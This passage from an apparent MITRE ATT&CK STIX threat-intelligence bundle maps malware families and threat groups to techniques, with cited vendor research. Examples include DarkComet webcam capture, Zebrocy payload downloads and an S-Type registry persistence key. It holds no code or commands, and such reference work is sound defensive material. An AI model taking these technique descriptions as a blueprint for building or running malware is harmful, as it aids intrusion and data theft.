                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks processes on the system and if they meet the necessary requirements, it injects into that process.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--da69efe7-e99e-4d79-a455-c59f4c087b22",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "type": "relationship",
            "modified": "2020-03-16T19:32:51.125Z",
            "created": "2019-01-29T17:59:44.519Z"
        },
        {
            "id": "relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d",
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            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of ASPXSpy called ASPXTool.(Citation: Dell TG-3390)",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.615Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
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            ],
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                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can list the current running processes on the system.(Citation: Fortinet Agent Tesla June 2017)",
            "id": "relationship--431012d2-0ac4-49ba-b217-c118f0c1cf03",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-05-28T23:41:03.806Z",
            "created": "2019-01-29T18:44:04.832Z"
        },
        {
            "id": "relationship--f120a700-dcac-4c8d-8e92-d6ba3491c2ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.(Citation: Volexity Patchwork June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:39:15.424Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying.(Citation: Riskiq Remcos Jan 2018)",
            "id": "relationship--5ed5deda-543f-40f7-8f5d-df8f93c545e2",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2019-04-19T14:39:52.992Z",
            "created": "2019-01-29T18:55:20.807Z"
        },
        {
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            ],
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                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                },
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can access the victim\u2019s webcam to take pictures.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--30b85048-ba1f-4b43-b9bc-69c27e426039",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.607Z",
            "created": "2019-01-29T19:18:28.653Z"
        },
        {
            "id": "relationship--6f7ca160-cd38-4ff4-b297-e95b31119e26",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "type": "relationship",
            "modified": "2020-03-26T16:06:07.480Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses TCP and UDP for C2.(Citation: ESET Carbon Mar 2017)",
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            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2019-04-12T14:43:22.596Z",
            "created": "2019-01-29T19:36:02.850Z"
        },
        {
            "id": "relationship--ecca0af0-1549-4068-b01d-bab711c491c5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) installs itself as a new service.(Citation: Palo Alto Reaver Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "type": "relationship",
            "modified": "2020-03-30T03:02:09.224Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust NanoCore Jan 2017",
                    "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/",
                    "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018."
                },
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) has the capability to download and activate additional modules for execution.(Citation: DigiTrust NanoCore Jan 2017)(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--10806c6b-100d-456b-bb05-62d90713be64",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.923Z",
            "created": "2019-01-29T20:05:36.483Z"
        },
        {
            "id": "relationship--2ff304c1-9b4d-4f01-927d-53a1c339f7ab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) deletes files using DeleteFileW API call.(Citation: ESET Turla Mosquito Jan 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.182Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/",
                    "source_name": "TrendMicro Tropic Trooper Mar 2018"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has injected a DLL backdoor into dllhost.exe and svchost.exe.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--c31643e8-86a3-49e4-bd69-572d7e64c7c0",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "type": "relationship",
            "modified": "2020-05-21T14:55:00.407Z",
            "created": "2019-01-29T20:17:49.374Z"
        },
        {
            "id": "relationship--07e8c425-2d17-48ea-98ca-40a2aac8cc10",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use process hollowing to inject one of its trojans into another process.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2019-07-25T14:56:46.761Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a69bd4c0-ddaa-4dec-a35d-b067ae1d95fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor processes.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Trojan.Hydraq Jan 2010",
                    "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident"
                },
                {
                    "source_name": "Symantec Hydraq Jan 2010",
                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"
                }
            ],
            "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-02-18T03:48:53.704Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode rootkit.(Citation: Sophos ZeroAccess)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Sophos ZeroAccess",
                    "description": "Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.",
                    "url": "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b"
        },
        {
            "id": "relationship--ce459961-3a5a-45f9-b8a4-646e9b475e19",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates a scheduled task to run itself every three minutes.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:47:05.721Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3caf848c-d95b-40ae-a288-2905319e4005",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has detected security tools.(Citation: FireEye MuddyWater Mar 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2019-04-22T22:36:53.053Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--79d23451-095d-445d-a61e-3351b55eafde",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-24T23:21:59.260Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--10619fa8-c479-4b61-9aac-ee08f00114d1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing directory listings.(Citation: FireEye EPS Awakens Part 2)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T01:05:58.455Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--24bf6b49-b492-44b0-bcc9-37bfba489d62",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) obtains additional code to execute on the victim's machine, including the downloading of a secondary payload.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "source_name": "Palo Alto Sofacy 06-2018"
                },
                {
                    "source_name": "Unit42 Cannon Nov 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018."
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                },
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.676Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
            "relationship_type": "uses",
            "target_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
            "external_references": [
                {
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "source_name": "CrowdStrike Putter Panda"
                }
            ],
            "description": "(Citation: CrowdStrike Putter Panda)",
            "type": "relationship",
            "modified": "2019-03-25T16:53:38.861Z",
            "created": "2017-05-31T21:33:27.059Z"
        },
        {
            "id": "relationship--1ba0b437-e809-479c-a254-172e706c3615",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can list local and remote shared drives and folders over SMB.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.998Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to removable media.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4",
            "type": "relationship",
            "modified": "2019-04-29T18:23:16.001Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d067b113-4584-419f-860b-d3184f734350",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}</code>.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T02:29:42.570Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--115562b8-9d7c-435e-af6e-0be6249742d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families are capable of downloading and executing binaries from its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                },
                {
                    "source_name": "TrendMicro macOS Dacls May 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/",
                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-08-10T13:25:16.354Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
        {
            "id": "relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
            "type": "relationship",
            "modified": "2020-02-05T20:11:13.112Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CallMe](https://attack.mitre.org/software/S0077) exfiltrates data to its C2 server over the same protocol as C2 communications.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
